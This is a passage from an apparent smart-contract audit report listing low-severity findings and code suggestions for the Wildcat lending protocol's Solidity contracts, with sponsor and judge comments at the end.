WildcatMarket(market).setReserveRatioBips(uint256(tmp.reserveRatioBips).toUint16());
However, setReserveRatioBips()
checks that the market is not delinquent when decreasing its reserve ratio:
WildcatMarketConfig.sol#L180-L184
if (_reserveRatioBips < initialReserveRatioBips) { if (state.liquidityRequired() > totalAssets()) { revert InsufficientReservesForOldLiquidityRatio(); } }
This means that if a market becomes delinquent after setAnnualInterestBips()
and the borrower has no funds to bring the market's reserve ratio back above delinquency, he will be unable to reset the market's reserve ratio.
A borrower could be unable to call resetReserveRatio()
even after 2 weeks if his market is still delinquent. This could be unfair to a borrower since calling resetReserveRatio()
will most probably make the market non-delinquent, since it reduces the reserve ratio.
Note that a borrower can side-step this issue by using a flashloan, transferring assets into the market, calling resetReserveRatio()
and then borrowing the assets to repay the flashloan. This, however, might incur a flashloan fee.
In resetReserveRatio()
, consider setting the market's reserve ratio directly instead of calling setReserveRatioBips()
to avoid the check shown above.
uint104
According to the README, the amount of assets that can be borrowed in a market should be up to type(uint128).max
:
The
totalSupply
is nowhere near 2^128.
Whenever a lender calls depositUpTo()
to deposit assets, the asset amount is scaled up and added to scaledTotalSupply
:
// Scale the mint amount uint104 scaledAmount = state.scaleAmount(amount).toUint104();
// Increase supply state.scaledTotalSupply += scaledAmount;
However, scaledTotalSupply
is a uint104
instead of uint128
:
// Scaled token supply (divided by scaleFactor) uint104 scaledTotalSupply;
This means that the maximum amount of assets that can be borrowed through a market is implicitly limited by type(uint104).max * scaleFactor / 1e27
.
When a market is first deployed, its scaleFactor
is 1e27
, which limits the maximum amount borrowable to type(uint104).max
.
Borrowers will not be able to borrow more than type(uint104).max
assets, which limits the functionality of the protocol should an underlying asset have high decimals (eg. 24) and a total supply more than type(uint104).max
.
Consider increasing the precision of scaleFactor
, such as changing it to a uint128
instead.
executeWithdrawal()
for themselvesIn WildcatMarketWithdrawals.sol
, the executeWithdrawal()
function has no access controls:
WildcatMarketWithdrawals.sol#L137-L140
function executeWithdrawal( address accountAddress, uint32 expiry ) external nonReentrant returns (uint256) {
This means that anyone can call the function and specify any lender as the accountAddress
to withdraw assets to the lender's address.
Lenders might not want their assets to be transferred to their address without their permission. For example, a lender's address could be a smart contract wallet that is compromised or going through an upgrade, and is unable to receive funds temporarily.
Do not allow executeWithdrawal()
to be called for any lender on their behalf. This can be achieved by removing the accountAddress
parameter, and using msg.sender
as the lender's address instead.
_writeState()
before transferring assets in borrow()
borrow()
calls _writeState()
before transferring assets to the the borrower:
_writeState(state); asset.safeTransfer(msg.sender, amount);
However, _writeState()
calls totalAssets()
when checking if the market is delinquent:
WildcatMarketBase.sol#L448-L453
function _writeState(MarketState memory state) internal { bool isDelinquent = state.liquidityRequired() > totalAssets(); state.isDelinquent = isDelinquent; _state = state; emit StateUpdated(state.scaleFactor, isDelinquent); }
totalAssets()
returns the current asset balance of the market:
WildcatMarketBase.sol#L238-L240
function totalAssets() public view returns (uint256) { return IERC20(asset).balanceOf(address(this)); }
Since the transfer of assets is only performed after _writeState()
is called, totalAssets()
will be higher than it should be in _writeState()
.
Note that there currently isn't any risk of this causing _writeState()
to update the market's delinquency status incorrectly, since:
borrowableAssets()
would return 0. Hence, borrow()
cannot possibly update the market from delinquent to non-delinquent.borrowableAssets()
prevents borrow()
from making the market delinquent, hence the market cannot go from non-delinquent to delinquent.Consider calling _writeState()
after assets have been transferred to the borrower:
- _writeState(state); asset.safeTransfer(feeRecipient, withdrawableFees); + _writeState(state);
push()
in FIFOQueue.sol
can be shortenedThe following code:
function push(FIFOQueue storage arr, uint32 value) internal { uint128 nextIndex = arr.nextIndex; arr.data[nextIndex] = value; arr.nextIndex = nextIndex + 1; }
can be shortened to:
function push(FIFOQueue storage arr, uint32 value) internal { arr.data[arr.nextIndex++] = value; }
WildcatMarketBase
's constructorThe constructor of the WildcatMarketBase
contract contains the following checks:
if ((parameters.protocolFeeBips > 0).and(parameters.feeRecipient == address(0))) { // redundant revert FeeSetWithoutRecipient(); } if (parameters.annualInterestBips > BIP) { // redundant revert InterestRateTooHigh(); } if (parameters.reserveRatioBips > BIP) { // redundant revert ReserveRatioBipsTooHigh(); } if (parameters.protocolFeeBips > BIP) { revert InterestFeeTooHigh(); } if (parameters.delinquencyFeeBips > BIP) { // redundant revert PenaltyFeeTooHigh(); }
However, these checks are redundant as they are already accounted for in WildcatMarketControllerFactory.sol
:
WildcatMarketControllerFactory.sol#L79-L90
if ( constraints.minimumAnnualInterestBips > constraints.maximumAnnualInterestBips || constraints.maximumAnnualInterestBips > 10000 || constraints.minimumDelinquencyFeeBips > constraints.maximumDelinquencyFeeBips || constraints.maximumDelinquencyFeeBips > 10000 || constraints.minimumReserveRatioBips > constraints.maximumReserveRatioBips || constraints.maximumReserveRatioBips > 10000 || constraints.minimumDelinquencyGracePeriod > constraints.maximumDelinquencyGracePeriod || constraints.minimumWithdrawalBatchDuration > constraints.maximumWithdrawalBatchDuration ) { revert InvalidConstraints(); }
WildcatMarketControllerFactory.sol#L201-L210
bool hasOriginationFee = originationFeeAmount > 0; bool nullFeeRecipient = feeRecipient == address(0); bool nullOriginationFeeAsset = originationFeeAsset == address(0); if ( (protocolFeeBips > 0 && nullFeeRecipient) || (hasOriginationFee && nullFeeRecipient) || (hasOriginationFee && nullOriginationFeeAsset) ) { revert InvalidProtocolFeeConfiguration(); }
Consider removing the checks that are marked as "redundant" above.
#0 - c4-pre-sort
2023-10-29T15:02:37Z
minhquanym marked the issue as high quality report
#1 - c4-sponsor
2023-11-01T15:52:06Z
d1ll0n (sponsor) confirmed
#2 - c4-judge
2023-11-09T15:31:57Z
MarioPoneder marked the issue as grade-a